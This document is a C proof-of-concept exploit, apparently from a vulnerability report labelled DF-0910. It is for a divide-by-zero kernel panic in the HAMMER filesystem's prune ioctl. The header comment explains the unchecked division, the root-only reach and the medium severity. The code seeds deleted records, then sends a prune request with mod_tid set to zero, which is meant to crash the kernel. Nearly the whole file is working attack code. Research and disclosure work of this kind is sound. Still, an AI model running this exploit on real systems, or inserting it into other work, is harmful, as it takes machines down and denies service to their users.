DF-0910 / prune_div0.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 | /* * DF-0910 — Divide-by-zero kernel panic via HAMMER_IOC_PRUNE with mod_tid=0 * * Trigger: issue HAMMERIOC_PRUNE on a HAMMER v1 mount with an element whose * mod_tid == 0. The kernel reaches the (unchecked) division at * sys/vfs/hammer/hammer_prune.c:305-306: * * (elm->base.create_tid - scan->beg_tid) / scan->mod_tid * * With mod_tid==0 this is a CPU #DE (divide error) from kernel mode -> non- * resumable trap -> kernel panic. The divide is only reached when the B-tree * scan encounters a record with delete_tid != 0 (a logically-deleted record * still present in the tree), so the PoC first creates and deletes a file on * the mount to seed such a record. * * Reachability: the HAMMERIOC_PRUNE ioctl is gated by * caps_priv_check(SYSCAP_NOVFS_IOCTL) (hammer_ioctl.c:72) — root-only. * The bug is a privileged-user -> kernel DoS (Medium severity). * * Build: cc -o prune_div0 prune_div0.c * Run: ./prune_div0 /mnt/hammer (as root, on a HAMMER v1 mount) */ #include <sys/ioccom.h> #include <sys/types.h> #include <stdint.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> /* ---- Exact mirror of sys/vfs/hammer headers (do not include kernel U-ABI) */ typedef uint64_t hammer_tid_t; typedef struct hammer_base_elm { int64_t obj_id; /* 00 */ int64_t key; /* 08 */ hammer_tid_t create_tid; /* 10 */ hammer_tid_t delete_tid; /* 18 */ uint16_t rec_type; /* 20 */ uint8_t obj_type; /* 22 */ uint8_t btype; /* 23 */ uint32_t localization; /* 24 */ } hammer_base_elm_t; struct hammer_ioc_head { int32_t flags; int32_t error; int32_t reserved01[4]; }; struct hammer_ioc_prune_elm { hammer_tid_t beg_tid; hammer_tid_t end_tid; hammer_tid_t mod_tid; /* THE BUG: no zero-check in kernel */ }; struct hammer_ioc_prune { struct hammer_ioc_head head; int nelms; int reserved01; struct hammer_base_elm key_beg; struct hammer_base_elm key_end; struct hammer_base_elm key_cur; int64_t stat_scanrecords; int64_t stat_rawrecords; int64_t stat_dirrecords; int64_t stat_bytes; int64_t stat_realignments; hammer_tid_t stat_oldest_tid; int64_t reserved02[6]; struct hammer_ioc_prune_elm *elms; }; #define HAMMER_IOC_PRUNE_ALL 0x0001 #define HAMMERIOC_PRUNE _IOWR('h', 1, struct hammer_ioc_prune) #define MOUNT_FILE "/df910_trigger_file" #define NFILES 8 static void seed_deleted_records(const char *mp) { char path[512]; int i, fd; for (i = 0; i < NFILES; i++) { snprintf(path, sizeof(path), "%s" MOUNT_FILE ".%d", mp, i); fd = open(path, O_RDWR | O_CREAT | O_TRUNC, 0644); if (fd < 0) { fprintf(stderr, "creat %s: %s\n", path, strerror(errno)); continue; } /* write some data so a data record is created */ if (write(fd, path, strlen(path)) < 0) perror("write"); close(fd); /* logically delete the record (delete_tid set on next sync) */ if (unlink(path) < 0) perror("unlink"); } /* force HAMMER to flush the create+delete into the B-tree */ sync(); sync(); sync(); } int main(int argc, char **argv) { const char *mp; char dirpath[512]; int dfd, rc; struct hammer_ioc_prune pr; struct hammer_ioc_prune_elm elm; if (argc < 2) { fprintf(stderr, "usage: %s <hammer-mount-point>\n", argv[0]); return 2; } mp = argv[1]; fprintf(stderr, "[*] seeding deleted records on %s ...\n", mp); seed_deleted_records(mp); snprintf(dirpath, sizeof(dirpath), "%s", mp); dfd = open(dirpath, O_RDONLY | O_DIRECTORY); if (dfd < 0) { /* O_DIRECTORY may not be defined everywhere; retry plain */ dfd = open(dirpath, O_RDONLY); } if (dfd < 0) { perror("open mount point"); return 2; } /* * Build the prune request. One element with mod_tid == 0. * beg_tid=0, end_tid=UINT64_MAX so every deleted record in the scan * range satisfies the preconditions at hammer_prune.c:302-304 and * reaches the divide at :305-306. * * key range covers the entire B-tree (all localizations, all obj_ids). * HAMMER_IOC_PRUNE_ALL is NOT set (it short-circuits before the divide). */ memset(&pr, 0, sizeof(pr)); pr.nelms = 1; pr.head.flags = 0; /* NOT PRUNE_ALL */ pr.key_beg.obj_id = (int64_t)0x8000000000000000ULL; /* HAMMER_MIN_KEY */ pr.key_beg.localization = 0; pr.key_end.obj_id = (int64_t)0x7FFFFFFFFFFFFFFFLL; /* HAMMER_MAX_KEY */ pr.key_end.localization = 0x0000FFFF; /* HAMMER_LOCALIZE_MASK */ elm.beg_tid = 0; elm.end_tid = 0xFFFFFFFFFFFFFFFFULL; /* UINT64_MAX */ elm.mod_tid = 0; /* <<< DIVIDE BY ZERO */ pr.elms = &elm; fprintf(stderr, "[*] issuing HAMMERIOC_PRUNE nelms=1 mod_tid=0 on fd %d ...\n" "[*] if the bug is present, the kernel will now #DE (panic).\n", dfd); fflush(stderr); rc = ioctl(dfd, HAMMERIOC_PRUNE, &pr); /* NOT REACHED on a vulnerable kernel */ fprintf(stderr, "[!] ioctl returned rc=%d errno=%d (%s) -- kernel NOT vulnerable\n" " stat_scanrecords=%lld stat_rawrecords=%lld\n", rc, errno, strerror(errno), (long long)pr.stat_scanrecords, (long long)pr.stat_rawrecords); if (rc == 0) return 0; return 1; } |